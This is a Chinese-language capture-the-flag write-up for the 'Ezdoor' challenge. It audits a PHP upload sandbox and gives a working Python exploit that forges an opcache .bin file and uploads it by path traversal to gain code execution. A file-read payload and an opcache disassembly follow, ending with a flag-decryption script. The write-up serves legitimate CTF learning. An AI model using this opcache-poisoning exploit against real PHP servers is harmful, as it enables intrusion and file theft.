Ezdoor
首先代码审计
<?php
error_reporting(0);
$dir = 'sandbox/' . sha1($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
if(!file_exists($dir . "index.php")){
touch($dir . "index.php");
}
function clear($dir)
{
if(!is_dir($dir)){
unlink($dir);
return;
}
foreach (scandir($dir) as $file) {
if (in_array($file, [".", ".."])) {
continue;
}
unlink($dir . $file);
}
rmdir($dir);
}
switch ($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'phpinfo':
echo file_get_contents("phpinfo.txt");
break;
case 'reset':
clear($dir);
break;
case 'time':
echo time();
break;
case 'upload':
if (!isset($_GET["name"]) || !isset($_FILES['file'])) {
break;
}
if ($_FILES['file']['size'] > 100000) {
clear($dir);
break;
}
$name = $dir . $_GET["name"];
if (preg_match("/[^a-zA-Z0-9.\/]/", $name) ||
stristr(pathinfo($name)["extension"], "h")) {
break;
}
move_uploaded_file($_FILES['file']['tmp_name'], $name);
$size = 0;
foreach (scandir($dir) as $file) {
if (in_array($file, [".", ".."])) {
continue;
}
$size += filesize($dir . $file);
}
if ($size > 100000) {
clear($dir);
}
break;
case 'shell':
ini_set("open_basedir", "/var/www/html/$dir:/var/www/html/flag");
include $dir . "index.php";
break;
default:
highlight_file(__FILE__);
break;
}
存在上传漏洞,上传至沙盒,phpinfo以一种奇怪的方式出现在这里,后面再说
然后成功包含index.php的话可以getshell
代码除了上传漏洞外无可疑处,因此尝试解析phpinfo
发现opcache开着,然后找到了这篇文章
ojbk问题解决,一摸一样,连绕过都可以参考。
首先本地搭起同样的环境,然后在index.php里写入代码,然后访问index.php即可在相应目录下生成index.php.bin
然后exp:
import requests
import struct
import hashlib
import time
php_version = "7.0.28"
zend_extension_id = "API320151012,NTS"
zend_bin_id = "BIN_SIZEOF_CHAR48888"
opcache_dir = "/tmp/cache/"
system_id = hashlib.md5(php_version+zend_extension_id+zend_bin_id).hexdigest()
base_url = "http://202.120.7.217:9527/"
# system_id = hashlib.md5("7.0.28-0ubuntu0.16.04.1API320151012,NTSBIN_SIZEOF_CHAR48888").hexdigest()
# base_url = "http://112.213.118.106:32768/"
web_dir = "/var/www/html/"
headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36"}
#get user_dir
user_dir = requests.get(url=base_url+"?action=pwd").content
#set file_name
file_name = "../../../../../"+opcache_dir+system_id+web_dir+user_dir+"index.php.bin"
requests.get(url=base_url+"?action=reset",headers=headers)
#time.sleep(5)#wait for clearing
#get timestamp
s_timestamp = int(requests.get(url=base_url+"?action=time",headers=headers).content)
#generate remote index.php.bin
requests.get(url=base_url,headers=headers)
requests.get(url=base_url+"?action=shell",headers=headers)
#time.sleep(10)#wait for generating
for i in range(-5,5):
#generate local index.php.bin
timestamp = struct.pack("i",s_timestamp+i)
with open("shell.bin","rb") as f:
bin = f.read()
new_bin = bin[:8]+system_id+bin[8+0x20:0x40]+timestamp+bin[0x44:]
requests.post(url=base_url+"?action=upload&name="+file_name,files={"file":new_bin},headers=headers)
if len(requests.get(url=base_url+"?action=shell",headers=headers).content) != 0:
print "get shell!"
break
本地可以过,但是远程一只没有过,最后问了出题人,出题人说一些函数被禁用了,才反应过来去phpinfo里找disabled_function,然后发现phpinfo不完整,disable_function被删除了23333333
那么只能利用手头有的函数进行获取flag
<?php
print_r(scandir('/var/www/html/flag'));
<?php
print_r(file_get_contents('/var/www/html/flag/93f4c28c0cf0b07dfd7012dca2cb868cc0228cad'));
成功获取了文件flag.php.bin,然后又是卡死的一步233333
然后简单的对bin文件的格式进行修复后,丢给了逆向狗
bertram@berTrAM-Mac$~ python opcache_disassembler.py -c -a64 ~/Downloads/1.txt
function encrypt() {
#0 !0 = RECV(None, None);
#1 !0 = RECV(None, None);
#2 DO_FCALL_BY_NAME(None, 'mt_srand');
#3 SEND_VAL(1337, None);
#4 (129)?(None, None);
#5 ASSIGN(!0, '');
#6 (121)?(!0, None);
#7 ASSIGN(None, None);
#8 (121)?(!0, None);
#9 ASSIGN(None, None);
#10 ASSIGN(None, 0);
#11 JMP(->-24, None);
#12 DO_FCALL_BY_NAME(None, 'chr');
#13 DO_FCALL_BY_NAME(None, 'ord');
#14 FETCH_DIM_R(!0, None);
#15 (117)?(None, None);
#16 (129)?(None, None);
#17 DO_FCALL_BY_NAME(None, 'ord');
#18 MOD(None, None);
#19 FETCH_DIM_R(!0, None);
#20 (117)?(None, None);
#21 (129)?(None, None);
#22 BW_XOR(None, None);
#23 DO_FCALL_BY_NAME(None, 'mt_rand');
#24 SEND_VAL(0, None);
#25 SEND_VAL(255, None);
#26 (129)?(None, None);
#27 BW_XOR(None, None);
#28 SEND_VAL(None, None);
#29 (129)?(None, None);
#30 ASSIGN_CONCAT(!0, None);
#31 PRE_INC(None, None);
#32 IS_SMALLER(None, None);
#33 JMPNZ(None, ->134217662);
#34 DO_FCALL_BY_NAME(None, 'encode');
#35 (117)?(!0, None);
#36 (130)?(None, None);
#37 RETURN(None, None);
}
function encode() {
#0 RECV(None, None);
#1 ASSIGN(None, '');
#2 ASSIGN(None, 0);
#3 JMP(->-81, None);
#4 DO_FCALL_BY_NAME(None, 'dechex');
#5 DO_FCALL_BY_NAME(None, 'ord');
#6 FETCH_DIM_R(None, None);
#7 (117)?(None, None);
#8 (129)?(None, None);
#9 (117)?(None, None);
#10 (129)?(None, None);
#11 ASSIGN(None, None);
#12 (121)?(None, None);
#13 IS_EQUAL(None, 1);
#14 JMPZ(None, ->-94);
#15 CONCAT('0', None);
#16 ASSIGN_CONCAT(None, None);
#17 JMP(->-96, None);
#18 ASSIGN_CONCAT(None, None);
#19 PRE_INC(None, None);
#20 (121)?(None, None);
#21 IS_SMALLER(None, None);
#22 JMPNZ(None, ->134217612);
#23 RETURN(None, None);
}
#0 ASSIGN(None, 'input_your_flag_here');
#1 DO_FCALL_BY_NAME(None, 'encrypt');
#2 SEND_VAL('this_is_a_very_secret_key', None);
#3 (117)?(None, None);
#4 (130)?(None, None);
#5 IS_IDENTICAL(None, '85b954fc8380a466276e4a48249ddd4a199fc34e5b061464e4295fc5020c88bfd8545519ab');
#6 JMPZ(None, ->-136);
#7 ECHO('Congratulation! You got it!', None);
#8 EXIT(None, None);
#9 ECHO('Wrong Answer', None);
#10 EXIT(None, None);
逆向部分
得到字节码文件,但是部分字节码没有能够成功赋予意义
具体字节码与字节对应查看http://php.net/manual/en/internals2.opcodes.php
根据以上的代码大致可以分析出来代码的逻辑,就几次异或 然后chr ord转换
伪代码如下
def encode(data):
return output.encode('hex')
def encrypt(flag,strings):
mt_srand(1337)
output = ""
for i in range(len(flag)):
output += chr(ord(flag[i])^ord(strings[i])^mt_rand(0,255))
return encode(output)
flag = raw_input('input_your_flag_here')
if encrypt(flag,this_is_a_very_secret_key)==="85b954fc8380a466276e4a48249ddd4a199fc34e5b061464e4295fc5020c88bfd8545519ab":
print 'Congratulation! You got it!'
else:
'Wrong Answer'
解密脚本
data = [151,189,92,232,167,217,167,90,114,82,84,72,9,134,182,90,23,152,129,27,93,6,22,114,194,105,104,203,65,60,215,147,238,81,111,91,179,57,195,148,8,72,61,71,122,91,137,196,223,225,76,134,196,244,114]
opt = "85b954fc8380a466276e4a48249ddd4a199fc34e5b061464e4295fc5020c88bfd8545519ab".decode("hex")
data2 = "this_is_a_very_secret_key"
flag = ""
for i in range(len(opt)):
flag += chr(data[i]^ord(opt[i])^ord(data2[i%len(data2)]))
print flag
此处评论已关闭